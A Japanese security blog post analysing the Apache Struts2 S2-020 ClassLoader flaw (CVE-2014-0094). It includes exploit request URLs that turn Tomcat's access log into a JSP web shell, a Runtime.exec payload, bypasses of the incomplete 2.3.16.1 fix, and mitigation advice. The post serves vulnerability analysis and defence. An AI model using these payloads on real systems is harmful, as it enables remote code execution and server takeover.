Apache Struts2の脆弱性についてIPAが注意喚起を4月17日に掲載しました。
- Apache Struts2 の脆弱性対策について(CVE-2014-0094)(S2-020)
- Apache Struts 2 Documentation S2-020
- ニュース - Apache Struts 2の脆弱性対策が急務、攻撃プログラムが出回る:ITpro
- Apache Struts2に脆弱性攻撃の恐れ、IPAが緊急勧告 - ITmedia エンタープライズ
検証コードが既にインターネット上で公開されていること、そして悪用が比較的容易であることから、ここではS2-020のClassLoaderが操作されてしまう脆弱性CVE-2014-0094について調べた結果をまとめます。
1.検証環境の準備
検証にあたり、Apache Struts2の環境のメモです。Struts2を動かすだけであれば以下の作業を行うだけでWindows上で簡単に動作させることが可能です。
(2) 環境変数の設定
2. CVE-2014-0094の検証
CVE-2014-0094のPOCは「S2-020 Struts2」と検索をするだけで解説サイトが出てきます。今回はそのPOCを使って検証を行ってみました。
CVE-2014-0094の影響を受けるApache Struts2は次のバージョンです
- 2.0.0 〜 2.3.16
今回の検証では次の環境を使用しました。
- Windows 7 SP1
- Java 7 Update 55 (JRE)
- Apache Tomcat 8.0.5
- Apache Struts2 2.3.16 and 2.3.16.1*1
- struts2-blank.warを配備
(1) ClassLoaderで操作できる属性を確認
検証コードの解説ではまず、ClassLoaderで操作できる属性を確認するJSPが掲載されていました。ここで掲載される属性は指定できる値が「Java.lang.String」、「boolean」、「int」のいずれかである場合に列挙されます。
今回自分の環境で実行したところ列挙された属性は241個存在しました。具体的な属性名は大量にあるため、参考として最後に記載しています。
(2) CVE-2014-0094 Exploit
CVE-2014-0094が存在するApache Struts2に対して、次の文字列を送信することで、Struts2が稼働するサーバーに対して任意のClassLoaderの操作をすることが可能です。
ttp://localhost:8080/example.action?class.classLoader.(操作したい属性)
(3) CVE-2014-0094を使ったリモートからのプログラム実行検証
この検証コードでは次の流れを経て、Struts2が稼働するマシン上で特定のプロセスを起動させるものです。
- CVE-2014-0094を使ってTomcatのアクセスログの出力設定を公開ディレクトリ上に変更
- Javaコードをアクセスログ中に仕込む
- アクセスログをJSPファイルとして呼び出す
- 特定のプロセスが実行される
- まず、アクセスログの出力先を変更します。
ttp://localhost:8080/struts2-blank/example/HelloWorld.action?class.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
ttp://localhost:8080/struts2-blank/example/HelloWorld.action?class.classLoader.resources.context.parent.pipeline.first.prefix=shell
ttp://localhost:8080/struts2-blank/example/HelloWorld.action?class.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
- 最後にログローテーションにより日付(既定ではYYYY-MM-DD)がファイル名に含まれてしまうため、これを「1」に変更します。
ttp://localhost:8080/struts2-blank/example/HelloWorld.action?class.classLoader.resources.context.parent.pipeline.first.fileDateFormat=1
これ以降はwebapps/ROOT上にアクセスログが記録され、アクセスログの内容が公開ディレクトリ上から確認ができるようになりました。
ttp://localhost:8080/struts2-blank/example/aaaa.jsp?a=<%Runtime.getRuntime().exec("calc");%>
この時、電卓はTomcatと同じ権限で起動されます。ファイルの操作も出来ると思いますが、Tomcatが実行される権限の範囲に限定されます。*2
3. CVE-2014-0094のパターン
クラスローダーの呼び出し方には複数の方法が確認されており、2014年4月24日現在リリースされている最新版(2.3.16.1)も影響を受ける可能性があります。
クラスローダーの呼び出し方 | 2.3.16.1が影響を受ける可能性 |
---|---|
公開されていたPOC(class.classLoader) | 無し |
大文字を混ぜる(class.ClassLoader) | 有り |
中括弧を使用する(class.['classLoader']) | 有り |
4. CVE-2014-0094の対策
(1) 最新版への更新
S2-020公開と同時にその修正版である「2.3.16.1」が2014年3月に公開されています。2.3.16.1ではこの脆弱性の影響を受けないことを確認しました。
対応が十分ではなく、最新版(2.3.16.1)に更新をしても影響を受ける可能性があります。
(2) 回避策
何らかの事情によりしばらくは影響を受けるバージョンを稼働させなければならない場合、一時的な回避策としてClassLoaderを操作するために必要な文字列「class.」から始まる文字列がクエリストリングに含まれていた場合にこれを拒否する設定方法(struts2-defalut.xmlへの記載等)がS2-020に記載されていました。
S2-020で回避策として示されている内容が十分ではなく、影響を受ける可能性があります。
(3) MBSDの暫定対応策
MBSDが暫定対応として、サーブレットフィルタを公開しています。このフィルタでは上で列挙している現在確認したCVE-2014-0094のパターンが全て網羅されます。
追記(1) yukisovさんからの情報
struts-default.xmlのexcludeParamsで変更された動きがある事を@yukisovさんがトレースされていました。またS2-020で示されている正規表現「^class\..」に抜けがあるようでGithubにある「apache/struts」のexcludeParamsでは「(.*\.|^)class\..*」に修正されています。
この excludeParamsの正規表現って3月30日に更に修正されてますね(http://t.co/idRLiqm5SK)。もちろん2.3.16.1 には適用されてないんですが。
— Yuki (@yukisov) 2014, 4月 17
excludeParamsの正規表現については、3月6日の時点でツッコミが入ってますね(http://t.co/vV0ScwF7Zk)。後で修正されてるってことは、結局この指摘は正しかったのかな。
— Yuki (@yukisov) 2014, 4月 17
これに関係するやり取りとして、FullDisclosureに次の投稿が行われています。またその意味について@yukisovさんに教えて頂きました。
This blocks parameters that start with "class", but what about ones
http://seclists.org/fulldisclosure/2014/Mar/50
that contain class internally? Based on [1], I would think an
attacker could send a parameter like this:
anObject.class.classLoader...
Which would result in, effectively:
action.getAnObject.getClass.getClassLoader...
So long as a developer defines an action within their application that
that has *any* get method that returns an Object ("getAnObject" in
this example), then they'd still be able to get at the ClassLoader
with your exclusion regex, right? Or am I missing something about
other mitigations you guys have put into place in prior versions?
@piyokango 引用ありがとうございます。あの記事の最後は、オブジェクトを返すgetメソッドが定義されていた場合に危険なんじゃないのかという話しでした。なんとなく危険そうでしたので。
— Yuki (@yukisov) 2014, 4月 19
追記(2) 金床さんの指摘
2.3.16.1は2.3.16のstruts-defalut.xmlのexcludeParamsに「^class..*」を追加しただけということか
で抜けがありそうと問題点が指摘されているけどそれはまだリリースされていないと
https://t.co/LEqN2gFguf
— piyokango (@piyokango) 2014, 4月 19
Struts2.3.16.1の修正方法が不完全なので(誰でも気付くレベル)GithubからPullRequest送って修正依頼かけようかと思ったら、20日前に修正されてた。 http://t.co/948rXTvVNm
— Kanatoko (@kinyuka) 2014, 4月 19
ブログ書きました。『例えば、Strutsを避ける』 http://t.co/FXYOfWe7m3
— Kanatoko (@kinyuka) 2014, 4月 23
追記(3) 2.3.16.1の修正は十分ではなく、脆弱性を突いた攻撃がまだ可能な模様
MBSDが2.3.16.1には0dayがあると報告。
Apache Struts2、S2-020の修正版(2.3.16.1)のゼロディ有ります。MBSD-SOCではカスタムシグネチャを追加して対応済です。
— 草場 英仁(くさばひでかず) (@hidekazu_kusaba) 2014, 4月 22
暫定対策を追加してもらいました。http://t.co/3XQMAVIGdX
— bun (@_bun_) 2014, 4月 23
- 2014/4/22 Apache Struts2(2.3.16、S2-020の修正版)に対するゼロディを弊社エンジニアが発見いたしました。
- 暫定対応のサーブレットフィルタまで公開されています。
MBSDが報告したゼロデイはこれかな?
Re: [ANN] Struts 2.3.16.1 GA release available - security fix
http://t.co/IWepgapLqz
— 北河拓士 KITAGAWA,Takuji (@kitagawa_takuji) 2014, 4月 23
There is another bypass of the excludeParams workaround.
Test.action?class['classLoader'].resources......(snip)
I confirmed it works on struts 2.3.16.
http://seclists.org/fulldisclosure/2014/Apr/250
追記(4) S2-020を使ってサーバーを掌握する検証報告
【検証結果】
http://n.pentest.jp/?p=31308
下図は、攻撃後の誘導先のコンピュータ(Windows 7)の画面です。赤線で囲まれている部分は、誘導先のコンピュータのホスト情報です。一方、黄線で囲まれている部分は、ターゲットPC(Linux)において、コマンドを実行した結果が表示されています。これにより、ターゲットPCの制御を奪うことに成功しました。
参考(1) Tomcat ClassLoaderで操作できる属性(の一部)
検証環境で確認できた、属性に設定できる値が次の3種類のいずれかの場合にClassLoaderで操作できる属性一覧です。
- Java.lang.String
- boolean
- int
沢山あるのでPastebinに転記しました。
http://pastebin.com/UHkW7cwB
POCはTomcat8以外では動作しないという話を聞いたので試してみましたが、私の環境でも実際POCは動きませんでした。設定できる属性がTomcat8に比べて7は23個だけでPOCで使用しているアクセスログの設定も確認できませんでした。この数に差が出来ている理由については調べきれていません。
Tomcat7(7.0.53)で確認できた属性一覧
http://pastebin.com/0QcW8U9T
またTomcat6(6.0.39)も調べてみました。Tomcat6はTomcat7同様23個でしたが、設定できる属性が異なるようです。
http://pastebin.com/Qt298kDP
参考(2) S2-020を見た金床さんのTweet
S2-020のPoCをTomcat7で試そうとして動かなかったアカウントがこちらになります
— Kanatoko (@kinyuka) 2014, 4月 19
Struts-2.3.16.1のソースを見て体が震え始めたアカウントがこちらになります
— Kanatoko (@kinyuka) 2014, 4月 19
2.3.16.0と2.3.16.1の差分見たことある人、挙手ねがいます(;´Д`)
— Kanatoko (@kinyuka) 2014, 4月 19
@tomoki0sanaki そう、それです。さすがよくご存じで… 僕今日になって初めて知ったんですが、ソースコードレベルでまったく対策していないんですね(;´Д`)
— Kanatoko (@kinyuka) 2014, 4月 19
軽くみた感じ、JettyのWebAppClassLoaderにはあまり面白いgetter/setterが無いので、S2-020でもTomcatほどひどいことにはならなさそうという印象。あくまで印象。
— Kanatoko (@kinyuka) 2014, 4月 21